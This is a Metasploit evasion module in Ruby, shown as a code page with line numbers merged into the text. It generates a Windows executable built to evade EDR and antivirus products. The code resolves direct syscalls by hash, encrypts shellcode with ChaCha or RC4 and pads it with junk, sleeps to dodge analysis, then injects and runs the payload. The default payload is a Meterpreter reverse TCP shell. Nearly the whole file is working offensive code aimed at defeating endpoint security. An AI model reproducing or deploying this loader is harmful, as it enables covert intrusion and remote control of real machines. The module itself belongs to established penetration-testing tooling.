Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/evasion/windows/syscall_inject.rb
Views: 11779
require 'metasploit/framework/compiler/mingw'1require 'metasploit/framework/compiler/windows'2class MetasploitModule < Msf::Evasion3RC4 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'rc4.h')4BASE64 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'base64.h')5def initialize(info = {})6super(7merge_info(8info,9'Name' => 'Direct windows syscall evasion technique',10'Description' => %q{11This module allows you to generate a Windows EXE that evades Host-based security products12such as EDR/AVs. It uses direct windows syscalls to achieve stealthiness, and avoid EDR hooking.1314please try to use payloads that use a more secure transfer channel such as HTTPS or RC415in order to avoid payload's network traffic getting caught by network defense mechanisms.16NOTE: for better evasion ratio, use high SLEEP values17},18'Author' => [ 'Yaz (kensh1ro)' ],19'License' => MSF_LICENSE,20'Platform' => 'windows',21'Arch' => ARCH_X64,22'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X64 ],23'DefaultOptions' => {24'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'25},26'Targets' => [['Microsoft Windows (x64)', {}]]27)28)29register_options(30[31OptEnum.new('CIPHER', [ true, 'Shellcode encryption type', 'chacha', ['chacha', 'rc4']]),32OptInt.new('SLEEP', [false, 'Sleep time in milliseconds before executing shellcode', 20000]),33]34)3536register_advanced_options(37[38OptEnum.new('OptLevel', [ false, 'The optimization level to compile with', 'Os', Metasploit::Framework::Compiler::Mingw::OPTIMIZATION_FLAGS ]),39]40)41end4243def calc_hash(name)44hash = @hash45ror8 = ->(v) { ((v >> 8) & 0xffffffff) | ((v << 24) & 0xffffffff) }46name.sub!('Nt', 'Zw')47name << "\x00"48for x in (0..name.length - 2).map { |i| name[i..i + 1] if name[i..i + 1].length == 2 }49p_name = x.unpack('S')[0]50hash ^= p_name + ror8.call(hash)51end52hash.to_s(16)53end5455def nt_alloc56%^57__asm__("NtAllocateVirtualMemory: \\n\\58mov [rsp +8], rcx \\n\\59mov [rsp+16], rdx\\n\\60mov [rsp+24], r8\\n\\61mov [rsp+32], r9\\n\\62sub rsp, 0x28\\n\\63mov ecx, 0x#{calc_hash 'NtAllocateVirtualMemory'} \\n\\64call GetSyscallNumber \\n\\65add rsp, 0x28 \\n\\66mov rcx, [rsp +8] \\n\\67mov rdx, [rsp+16] \\n\\68mov r8, [rsp+24] \\n\\69mov r9, [rsp+32] \\n\\70mov r10, rcx \\n\\71syscall \\n\\72ret \\n\\73");74^75end7677def nt_close78%^79__asm__("NtClose: \\n\\80mov [rsp +8], rcx \\n\\81mov [rsp+16], rdx \\n\\82mov [rsp+24], r8 \\n\\83mov [rsp+32], r9 \\n\\84sub rsp, 0x28 \\n\\85mov ecx, 0x#{calc_hash 'NtClose'} \\n\\86call GetSyscallNumber \\n\\87add rsp, 0x28 \\n\\88mov rcx, [rsp +8] \\n\\89mov rdx, [rsp+16] \\n\\90mov r8, [rsp+24] \\n\\91mov r9, [rsp+32] \\n\\92mov r10, rcx \\n\\93syscall \\n\\94ret \\n\\95");96^97end9899def nt_create_thread100%^101__asm__("NtCreateThreadEx: \\n\\102mov [rsp +8], rcx \\n\\103mov [rsp+16], rdx\\n\\104mov [rsp+24], r8\\n\\105mov [rsp+32], r9\\n\\106sub rsp, 0x28\\n\\107mov ecx, 0x#{calc_hash 'NtCreateThreadEx'} \\n\\108call GetSyscallNumber \\n\\109add rsp, 0x28\\n\\110mov rcx, [rsp +8] \\n\\111mov rdx, [rsp+16]\\n\\112mov r8, [rsp+24]\\n\\113mov r9, [rsp+32]\\n\\114mov r10, rcx\\n\\115syscall \\n\\116ret \\n\\117");118^119end120121def nt_open_process122%^123__asm__("NtOpenProcess: \\n\\124mov [rsp +8], rcx \\n\\125mov [rsp+16], rdx \\n\\126mov [rsp+24], r8 \\n\\127mov [rsp+32], r9 \\n\\128sub rsp, 0x28 \\n\\129mov ecx, 0x#{calc_hash 'NtOpenProcess'} \\n\\130call GetSyscallNumber \\n\\131add rsp, 0x28 \\n\\132mov rcx, [rsp +8] \\n\\133mov rdx, [rsp+16] \\n\\134mov r8, [rsp+24] \\n\\135mov r9, [rsp+32] \\n\\136mov r10, rcx \\n\\137syscall \\n\\138ret \\n\\139");140^141end142143def nt_protect144%^145__asm__("NtProtectVirtualMemory: \\n\\146push rcx \\n\\147push rdx \\n\\148push r8 \\n\\149push r9 \\n\\150mov ecx, 0x#{calc_hash 'NtProtectVirtualMemory'} \\n\\151call GetSyscallNumber \\n\\152pop r9 \\n\\153pop r8 \\n\\154pop rdx \\n\\155pop rcx \\n\\156mov r10, rcx \\n\\157syscall \\n\\158ret \\n\\159");160^161end162163def nt_write164%^165__asm__("NtWriteVirtualMemory: \\n\\166mov [rsp +8], rcx \\n\\167mov [rsp+16], rdx \\n\\168mov [rsp+24], r8 \\n\\169mov [rsp+32], r9 \\n\\170sub rsp, 0x28 \\n\\171mov ecx, 0x#{calc_hash 'NtWriteVirtualMemory'} \\n\\172call GetSyscallNumber \\n\\173add rsp, 0x28 \\n\\174mov rcx, [rsp +8] \\n\\175mov rdx, [rsp+16] \\n\\176mov r8, [rsp+24] \\n\\177mov r9, [rsp+32] \\n\\178mov r10, rcx \\n\\179syscall \\n\\180ret \\n\\181");182^183end184185def headers186@headers = "#include <windows.h>\n"187@headers << "#include \"#{BASE64}\"\n"188@headers << "#include \"#{RC4}\"\n" if datastore['CIPHER'] == 'rc4'189@headers << "#include \"chacha.h\"\n" if datastore['CIPHER'] == 'chacha'190@headers191end192193def defines194%^195#define _SEED 0x#{@hash.to_s(16)}196#define _ROR8(v) (v >> 8 | v << 24)197#define MAX_SYSCALLS 500198#define _RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)199200201typedef struct _SYSCALL_ENTRY202{203DWORD Hash;204DWORD Address;205} SYSCALL_ENTRY, *P_SYSCALL_ENTRY;206207typedef struct _SYSCALL_LIST208{209DWORD Count;210SYSCALL_ENTRY Entries[MAX_SYSCALLS];211} SYSCALL_LIST, *P_SYSCALL_LIST;212213typedef struct _PEB_LDR_DATA {214BYTE Reserved1[8];215PVOID Reserved2[3];216LIST_ENTRY InMemoryOrderModuleList;217} PEB_LDR_DATA, *P_PEB_LDR_DATA;218219typedef struct _LDR_DATA_TABLE_ENTRY {220PVOID Reserved1[2];221LIST_ENTRY InMemoryOrderLinks;222PVOID Reserved2[2];223PVOID DllBase;224} LDR_DATA_TABLE_ENTRY, *P_LDR_DATA_TABLE_ENTRY;225226typedef struct _PEB {227BYTE Reserved1[2];228BYTE BeingDebugged;229BYTE Reserved2[1];230PVOID Reserved3[2];231P_PEB_LDR_DATA Ldr;232} PEB, *P_PEB;233234typedef struct _PS_ATTRIBUTE235{236ULONG Attribute;237SIZE_T Size;238union239{240ULONG Value;241PVOID ValuePtr;242} u1;243PSIZE_T ReturnLength;244} PS_ATTRIBUTE, *PPS_ATTRIBUTE;245246typedef struct _UNICODE_STRING247{248USHORT Length;249USHORT MaximumLength;250PWSTR Buffer;251} UNICODE_STRING, *PUNICODE_STRING;252253typedef struct _OBJECT_ATTRIBUTES254{255ULONG Length;256HANDLE RootDirectory;257PUNICODE_STRING ObjectName;258ULONG Attributes;259PVOID SecurityDescriptor;260PVOID SecurityQualityOfService;261} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;262263typedef struct _CLIENT_ID264{265HANDLE UniqueProcess;266HANDLE UniqueThread;267} CLIENT_ID, *PCLIENT_ID;268269typedef struct _PS_ATTRIBUTE_LIST270{271SIZE_T TotalLength;272PS_ATTRIBUTE Attributes[1];273} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;274275EXTERN_C NTSTATUS NtAllocateVirtualMemory(276IN HANDLE ProcessHandle,277IN OUT PVOID * BaseAddress,278IN ULONG ZeroBits,279IN OUT PSIZE_T RegionSize,280IN ULONG AllocationType,281IN ULONG Protect);282283EXTERN_C NTSTATUS NtProtectVirtualMemory(284IN HANDLE ProcessHandle,285IN OUT PVOID * BaseAddress,286IN OUT PSIZE_T RegionSize,287IN ULONG NewProtect,288OUT PULONG OldProtect);289290EXTERN_C NTSTATUS NtCreateThreadEx(291OUT PHANDLE ThreadHandle,292IN ACCESS_MASK DesiredAccess,293IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,294IN HANDLE ProcessHandle,295IN PVOID StartRoutine,296IN PVOID Argument OPTIONAL,297IN ULONG CreateFlags,298IN SIZE_T ZeroBits,299IN SIZE_T StackSize,300IN SIZE_T MaximumStackSize,301IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);302303EXTERN_C NTSTATUS NtWriteVirtualMemory(304IN HANDLE ProcessHandle,305IN PVOID BaseAddress,306IN PVOID Buffer,307IN SIZE_T NumberOfBytesToWrite,308OUT PSIZE_T NumberOfBytesWritten OPTIONAL);309310EXTERN_C NTSTATUS NtOpenProcess(311OUT PHANDLE ProcessHandle,312IN ACCESS_MASK DesiredAccess,313IN POBJECT_ATTRIBUTES ObjectAttributes,314IN PCLIENT_ID ClientId OPTIONAL);315316EXTERN_C NTSTATUS NtClose(317IN HANDLE Handle);318^319end320321def syscall_parser322%@323SYSCALL_LIST _SyscallList;324325DWORD HashSyscall(PCSTR FunctionName)326{327DWORD i = 0;328DWORD Hash = _SEED;329330while (FunctionName[i])331{332WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);333Hash ^= PartialName + _ROR8(Hash);334}335336return Hash;337}338339BOOL PopulateSyscallList()340{341// Return early if the list is already populated.342if (_SyscallList.Count) return TRUE;343344P_PEB Peb = (P_PEB)__readgsqword(0x60);345P_PEB_LDR_DATA Ldr = Peb->Ldr;346PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;347PVOID DllBase = NULL;348349// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second350// in the list, so it's safer to loop through the full list and find it.351P_LDR_DATA_TABLE_ENTRY LdrEntry;352for (LdrEntry = (P_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (P_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])353{354DllBase = LdrEntry->DllBase;355PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;356PIMAGE_NT_HEADERS NtHeaders = _RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);357PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;358DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;359if (VirtualAddress == 0) continue;360361ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);362363// If this is NTDLL.dll, exit loop.364PCHAR DllName = _RVA2VA(PCHAR, DllBase, ExportDirectory->Name);365366if ((*(ULONG*)DllName) != 'ldtn') continue;367if ((*(ULONG*)(DllName + 4)) == 'ld.l') break;368}369370if (!ExportDirectory) return FALSE;371372DWORD NumberOfNames = ExportDirectory->NumberOfNames;373PDWORD Functions = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);374PDWORD Names = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);375PWORD Ordinals = _RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);376377// Populate _SyscallList with unsorted Zw* entries.378DWORD i = 0;379P_SYSCALL_ENTRY Entries = _SyscallList.Entries;380do381{382PCHAR FunctionName = _RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);383384// Is this a system call?385if (*(USHORT*)FunctionName == 'wZ')386{387Entries[i].Hash = HashSyscall(FunctionName);388Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];389390i++;391if (i == MAX_SYSCALLS) break;392}393} while (--NumberOfNames);394395// Save total number of system calls found.396_SyscallList.Count = i;397398// Sort the list by address in ascending order.399for (DWORD i = 0; i < _SyscallList.Count - 1; i++)400{401for (DWORD j = 0; j < _SyscallList.Count - i - 1; j++)402{403if (Entries[j].Address > Entries[j + 1].Address)404{405// Swap entries.406SYSCALL_ENTRY TempEntry;407408TempEntry.Hash = Entries[j].Hash;409TempEntry.Address = Entries[j].Address;410411Entries[j].Hash = Entries[j + 1].Hash;412Entries[j].Address = Entries[j + 1].Address;413414Entries[j + 1].Hash = TempEntry.Hash;415Entries[j + 1].Address = TempEntry.Address;416}417}418}419420return TRUE;421}422423extern DWORD GetSyscallNumber(DWORD FunctionHash)424{425if (!PopulateSyscallList()) return -1;426for (DWORD i = 0; i < _SyscallList.Count; i++)427{428if (FunctionHash == _SyscallList.Entries[i].Hash)429{430return i;431}432}433return -1;434}435@436end437438def exec_func439%^440char* enc_shellcode = "#{get_payload}";441DWORD exec(void *buffer)442{443void (*function)();444function = (void (*)())buffer;445function();446}447^448end449450def inject451s = "int i; for(i=0;i<10;i++){Sleep(#{datastore['SLEEP']} / 10);}"452@inject = %@453454void inject()455{456HANDLE pHandle;457DWORD old = 0;458CLIENT_ID cID = {0};459OBJECT_ATTRIBUTES OA = {0};460int b64len = strlen(enc_shellcode);461PBYTE shellcode = (PBYTE)malloc(b64len);462SIZE_T size = base64decode(shellcode, enc_shellcode, b64len);463PVOID bAddress = NULL;464int process_id = GetCurrentProcessId();465cID.UniqueProcess = process_id;466NtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &OA, &cID);467NtAllocateVirtualMemory(pHandle, &bAddress, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);468int n = 0;469PBYTE temp = (PBYTE)malloc(size);470@471if datastore['CIPHER'] == 'rc4'472@inject << %@473#{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'}474RC4(key, shellcode, temp, size);475NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL);476@477else478@inject << %@479#{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'}480#{Rex::Text.to_c iv, Rex::Text::DefaultWrap, 'iv'}481chacha_ctx ctx;482chacha_keysetup(&ctx, key, 256, 96);483chacha_ivsetup(&ctx, iv);484chacha_encrypt_bytes(&ctx, shellcode, temp, size);485NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL);486@487end488@inject << %@489NtProtectVirtualMemory(pHandle, &bAddress, &size, PAGE_EXECUTE, &old);490#{s if datastore['SLEEP'] > 0};491HANDLE thread = NULL;492NtCreateThreadEx(&thread, THREAD_ALL_ACCESS, NULL, pHandle, exec, bAddress, NULL, NULL, NULL, NULL, NULL);493WaitForSingleObject(thread, INFINITE);494NtClose(thread);495NtClose(pHandle);496}497@498end499500def main501%^502int main()503{504inject();505}506^507end508509def key510if datastore['CIPHER'] == 'rc4'511@key ||= Rex::Text.rand_text_alpha(32..64)512else513@key ||= Rex::Text.rand_text(32)514end515end516517def iv518if datastore['CIPHER'] == 'chacha'519@iv ||= Rex::Text.rand_text(12)520end521end522523def get_payload524junk = Rex::Text.rand_text(10..1024)525p = payload.encoded + junk526vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)")527if datastore['CIPHER'] == 'chacha'528chacha = Rex::Crypto::Chacha20.new(key, iv)529p = chacha.chacha20_crypt(p)530Rex::Text.encode_base64 p531else532opts = { format: 'rc4', key: key }533Msf::Simple::Buffer.transform(p, 'base64', 'shellcode', opts)534end535end536537def generate_code(src, opts = {})538comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts)539compiler_out = comp_obj.compile_c(src)540unless compiler_out.empty?541elog(compiler_out)542raise Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError, 'Compilation error. Check the logs for further information.'543end544comp_file = "#{opts[:f_name]}.exe"545raise Metasploit::Framework::Compiler::Mingw::CompiledPayloadNotFoundError unless File.exist?(comp_file)546547bin = File.binread(comp_file)548file_create(bin)549comp_obj.cleanup_files550end551552def run553@hash = rand 2**28..2**32 - 1554comp_opts = '-masm=intel -w -mwindows '555src = headers556src << defines557src << nt_alloc558src << nt_close559src << nt_create_thread560src << nt_open_process561src << nt_protect562src << nt_write563src << syscall_parser564src << exec_func565src << inject566src << main567# obf_src = Metasploit::Framework::Compiler::Windows.generate_random_c src568path = Tempfile.new('main').path569vprint_good "Saving temporary source file in #{path}"570compile_opts =571{572strip_symbols: true,573compile_options: comp_opts,574f_name: path,575opt_lvl: datastore['OptLevel']576}577generate_code src, compile_opts578end579580end581582583